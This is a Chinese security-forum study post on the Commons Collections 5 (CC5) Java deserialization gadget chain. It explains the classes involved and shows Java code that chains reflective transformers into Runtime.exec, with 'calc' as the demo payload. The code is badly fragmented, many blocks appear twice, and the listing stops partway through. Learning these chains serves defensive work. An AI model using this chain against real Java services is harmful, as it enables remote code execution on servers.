-
-
[原创]Gadget学习-CommonsCollection5
-
发表于: 2022-12-11 10:27 987
-
CommonsCollection包为Java标准的CollectionsAPI提供相当好的补充,在此基础上对其常用的数据结构操作进行很好的封装,抽象和补充。让开发者在开发的过程中既能保证性能,同时简化代码
Commons Collection实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展,该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转换需求,其转换函数可以自定义实现,我们的漏洞触发函数就是利用了这一点。
在Collections中提供一个非常重要的类:org.apache.commons.collections.functors.InvokerTransformer,这个类实现了java.io.Serializable接口。Transformer提供了一个对象转换方法:transform主要用于将输入对象转换为输出对象。InvokerTransformer类主要作用就是利用java反射机制来创建类实例
InvokerTransformer扩展了序列化与Transformer类。其构造函数为三个东西,一个是方法名,一个是类型参数列表,一个是参数列表。
transform提供一个方法,带入一个Object,可执行其Object.methodName(args)方法
使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景中没法调用transformer.transform的时候直接转入Runtime.getRuntime()对象的(因为Runtime对象时不可被序列化的)。
可以看到弹出了计算器,但是我们跟进InvokerTransformer类里看看。
可以明显的看到这个类继承了Serializable接口,表示这是可反序列化的,但是它并没有readObject方法,而反序列化机制是自动调用被反序列化的readObject方法,所以这段代码并不能完成反序列化攻击,还需要找出链才行。
再看看Runtime对象,它并没有继承Serializable接口,说明这个对象是不能可被反序列化的,所以需要通过反射去查找这个对象。
在学习查找Runtime这个对象前,先通过两个例子去学习如何查找对象
可看到成功触发计算器
但是ChainedTransformer类里还是没有readObject方法,反序列化时还是不能触发transform方法。
首先我们在看transform的实现方法时,看到ConstantTransformer里的transform方法,输入什么都给他输出,所以可更改一下我们链代码。
入口点为ConstantTransformer c1 = new ConstantTransformer(Runtime.class),这时候将c1加入链中,transform方法不管输入,输出都是Runtime.class。
LazyMap类继承了Serializable接口,是可被反序列化的,但是reobject方法中并没有什么操作,所以需要找到一个类去触发get方法,再通过get触发transform。
找到TiedMapEntry类,继承了Serializable接口,再看到TiedMapEntry方法,接受了外部输入,传入内部。map可控,可以传入LazyMap,key可控,传入Runtime.class,而TiedMapEntry类没有readObject方法,但是在equals方法,hashCode方法,toString方法调用了getValue,所有在找有什么类调用了这四个方法。
最后找到BadAttributeValueExpException类,继承了Serializable接口
而readObject方法正好触发了toString方法,由此完成了CC5的反序列化漏洞链。
BadAttributeValueExpException readObject方法 -》TiedMapEntry toString方法 -》getValue方法 -》LazyMap get方法 -》 transform方法
TiedMapEntry里的getValue调用get,在传入Map为LazyMap时,就可触发LazyMap里的get方法里的transform来弹计算器。所以,可以使用另外一条链hashCode触发,所以只需要找出调用hashCode的链即可。
入口点为HashMap,在1.7版本的HashMap的readObject中,使用的是putForCreate函数,我们的kay和value由put传入。
进入到putForCreate函数后,再跟进hash函数,调用hash(key)计算key的hash值,链也由此进入。
可以看到hash方法中调用了hashCode函数,如果在hash方法中,传入的key正好为TiedMapEntry,这时候就调用了TiedMapEntry的hashCode方法。
如果hashCode方法里调用了getvalue方法,getValue方法又调用了get方法,而传入的map又正好为LazyMap
调用了LazyMap的get方法里的transform方法触发计算器。由此完成第二条CC5反序列化漏洞链:
成功触发!
LinkedMap: 可以维护条目顺序的
map
BidiMap: 即双向
Map
,可以通过key找到value,也可以通过value找到key。需要注意的是BigMap中的key和value都不可以重复。
MultiMap:一个key指向是一组对象,add()和remove()的时候跟普通的
Map
无异,只是在get()的时候返回一个Collection,实现一对多
LazyMap:即
Map
中的键值对一开始不存在,被调用到时才会创建。
LinkedMap: 可以维护条目顺序的
map
BidiMap: 即双向
Map
,可以通过key找到value,也可以通过value找到key。需要注意的是BigMap中的key和value都不可以重复。
MultiMap:一个key指向是一组对象,add()和remove()的时候跟普通的
Map
无异,只是在get()的时候返回一个Collection,实现一对多
LazyMap:即
Map
中的键值对一开始不存在,被调用到时才会创建。
payload:需要让服务器执行的语句,比如弹计算器等
反序列化利用链:服务端中存在的反序列化利用链,一层一层的进入,最后执行payload(此篇文章为cc链的介绍)
readObject利用点:服务端存在可以与我们漏洞利用链相连的并且可以外部访问的readObject函数利用,也就是入口点,再找到利用链,最后执行payload。
payload:需要让服务器执行的语句,比如弹计算器等
反序列化利用链:服务端中存在的反序列化利用链,一层一层的进入,最后执行payload(此篇文章为cc链的介绍)
readObject利用点:服务端存在可以与我们漏洞利用链相连的并且可以外部访问的readObject函数利用,也就是入口点,再找到利用链,最后执行payload。
TransformedMap
InvokerTransformer
ConstantTransformerfor
ChainedTransformer
Transformer
TransformedMap
InvokerTransformer
ConstantTransformerfor
ChainedTransformer
Transformer
public InvokerTransFormer(String methodName, Class[] paramTypes,
Object
[ ] args){
this.iMethodName
=
methodName;
this.iParamTypes
=
paramTypes;
this.iArgs
=
args;
}
public InvokerTransFormer(String methodName, Class[] paramTypes,
Object
[ ] args){
this.iMethodName
=
methodName;
this.iParamTypes
=
paramTypes;
this.iArgs
=
args;
}
public
Object
transform(
Object
input
){
/
/
反射使用
Class
cls
=
input
.getClass();
/
/
获取Class引用
Method method
=
cls
.getMethod(this.iMethodName, this.iParamTypes);
return
method.invoke(
input
, this.iArgs);
}
public
Object
transform(
Object
input
){
/
/
反射使用
Class
cls
=
input
.getClass();
/
/
获取Class引用
Method method
=
cls
.getMethod(this.iMethodName, this.iParamTypes);
return
method.invoke(
input
, this.iArgs);
}
Class c
=
String.
class
.getClass();
/
/
获取CLass引用,也就是找到 String的Class,因为java万物皆对象,每个对象在内存中都对应着一个Class
Method m1
=
c.getMethod(
"valueof"
, new Class[]{String.
class
});
/
/
查找valueOf方法,String.
class
代表一个参数,也就是valueOf(
"1"
)里的
1
m1.invoke(null, new
Object
[]{
"1"
, new Class[
0
]});
/
/
valueOf为静态方法,所以对象处写null,
1
为参数,new Class[
0
]为写入位置
Class c
=
String.
class
.getClass();
/
/
获取CLass引用,也就是找到 String的Class,因为java万物皆对象,每个对象在内存中都对应着一个Class
Method m1
=
c.getMethod(
"valueof"
, new Class[]{String.
class
});
/
/
查找valueOf方法,String.
class
代表一个参数,也就是valueOf(
"1"
)里的
1
m1.invoke(null, new
Object
[]{
"1"
, new Class[
0
]});
/
/
valueOf为静态方法,所以对象处写null,
1
为参数,new Class[
0
]为写入位置
Class s1
=
s.getClass();
Method m
=
s1.getMethod(
"split"
, new Class[]{String.
class
});
m.invoke(s, new
Object
[]{
"1"
, new Class[
0
]});
/
/
链代码:
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
InvokerTransformer i2
=
new InvokerTransformer(
"invoke"
, new Class[] {
Object
.
class
,
Object
[].
class
}, new
Object
[] {
null, new
Object
[
0
] });
InvokerTransformer i3
=
new InvokerTransformer(
"exec"
,
new Class[] { String.
class
}, new
Object
[]{
"calc"
});
分析:Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
/
/
上面的代码可分为三段:
Class runtimeClazz
=
Runtime.
class
.getClass();
/
/
首先获取引用
Method m1
=
runtimeClazz.getMethod(
"getMethod"
, new Class[]{String.
class
, Class[].
class
});
/
/
接着查找getMethod方法
m1.invoke(Runtime.
class
, new
Object
[]{
"getRuntime"
, new Class[
0
]});
/
/
调用对象方法
/
/
i1,i2,i3为三条链,而这三条链需要窜起来才能使用,就需要用到ChainedTransformer类。
Class s1
=
s.getClass();
Method m
=
s1.getMethod(
"split"
, new Class[]{String.
class
});
m.invoke(s, new
Object
[]{
"1"
, new Class[
0
]});
/
/
链代码:
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
InvokerTransformer i2
=
new InvokerTransformer(
"invoke"
, new Class[] {
Object
.
class
,
Object
[].
class
}, new
Object
[] {
null, new
Object
[
0
] });
InvokerTransformer i3
=
new InvokerTransformer(
"exec"
,
new Class[] { String.
class
}, new
Object
[]{
"calc"
});
分析:Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
/
/
上面的代码可分为三段:
Class runtimeClazz
=
Runtime.
class
.getClass();
/
/
首先获取引用
Method m1
=
runtimeClazz.getMethod(
"getMethod"
, new Class[]{String.
class
, Class[].
class
});
/
/
接着查找getMethod方法
m1.invoke(Runtime.
class
, new
Object
[]{
"getRuntime"
, new Class[
0
]});
/
/
调用对象方法
/
/
i1,i2,i3为三条链,而这三条链需要窜起来才能使用,就需要用到ChainedTransformer类。
/
/
ChinaTransformer类实现了Transformer链调用,我们只需要传入一个Transformer数组ChainedTransformrt就可以实现依次调用每一个Transformer的transform方法,其构造函数传入一个Transformer数组。
public ChainedTransformer(Transformer[] transformers){
this.iTransformers
=
transformers;
}
/
/
transform方法对其在构造函数中传入一个transform数组循环调用
public
Object
transform(
Object
object
){
for
(
int
i
=
0
; i < iTransformers.length; i
+
+
){
object
=
iTransformers[i].transform(
Object
);
}
return
object
;
}
/
/
链式执行计算器:
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
InvokerTransformer i2
=
new InvokerTransformer(
"invoke"
, new Class[] {
Object
.
class
,
Object
[].
class
}, new
Object
[] {
null, new
Object
[
0
] });
InvokerTransformer i3
=
new InvokerTransformer(
"exec"
,
new Class[] { String.
class
}, new
Object
[]{
"calc"
});
ChainedTransformer chainedTransformer
=
new ChainedTransformer(new Transformer[]{i1, i2, i3});
chainedTransformer.transform(Runtime.
class
);
/
/
输入为Runtime.
class
开始触发
/
/
ChinaTransformer类实现了Transformer链调用,我们只需要传入一个Transformer数组ChainedTransformrt就可以实现依次调用每一个Transformer的transform方法,其构造函数传入一个Transformer数组。
public ChainedTransformer(Transformer[] transformers){
this.iTransformers
=
transformers;
}
/
/
transform方法对其在构造函数中传入一个transform数组循环调用
public
Object
transform(
Object
object
){
for
(
int
i
=
0
; i < iTransformers.length; i
+
+
){
object
=
iTransformers[i].transform(
Object
);
}
return
object
;
}
/
/
链式执行计算器:
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
InvokerTransformer i2
=
new InvokerTransformer(
"invoke"
, new Class[] {
Object
.
class
,
Object
[].
class
}, new
Object
[] {
null, new
Object
[
0
] });
InvokerTransformer i3
=
new InvokerTransformer(
"exec"
,
new Class[] { String.
class
}, new
Object
[]{
"calc"
});
ChainedTransformer chainedTransformer
=
new ChainedTransformer(new Transformer[]{i1, i2, i3});
chainedTransformer.transform(Runtime.
class
);
/
/
输入为Runtime.
class
开始触发
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
ConstantTransformer c1
=
new ConstantTransformer(Runtime.
class
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
InvokerTransformer i2
=
new InvokerTransformer(
"invoke"
, new Class[] {
Object
.
class
,
Object
[].
class
}, new
Object
[] {
null, new
Object
[
0
] });
InvokerTransformer i3
=
new InvokerTransformer(
"exec"
,
new Class[] { String.
class
}, new
Object
[]{
"calc"
});
ChainedTransformer chainedTransformer
=
new ChainedTransformer(new Transformer[]{c1, i1, i2, i3});
chainedTransformer.transform(
"123"
);
Method m
=
Runtime.
class
.getMethod(
"getRuntime"
);
ConstantTransformer c1
=
new ConstantTransformer(Runtime.
class
);
InvokerTransformer i1
=
new InvokerTransformer(
"getMethod"
, new Class[] {
String.
class
, Class[].
class
}, new
Object
[] {
"getRuntime"
, new Class[
0
] });
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]shellcode编写 14471
- [原创]未导出api的查找与使用 4002
- [原创]SysWhispers3学习 7098
- [原创]Gadget学习-CommonsCollection5 988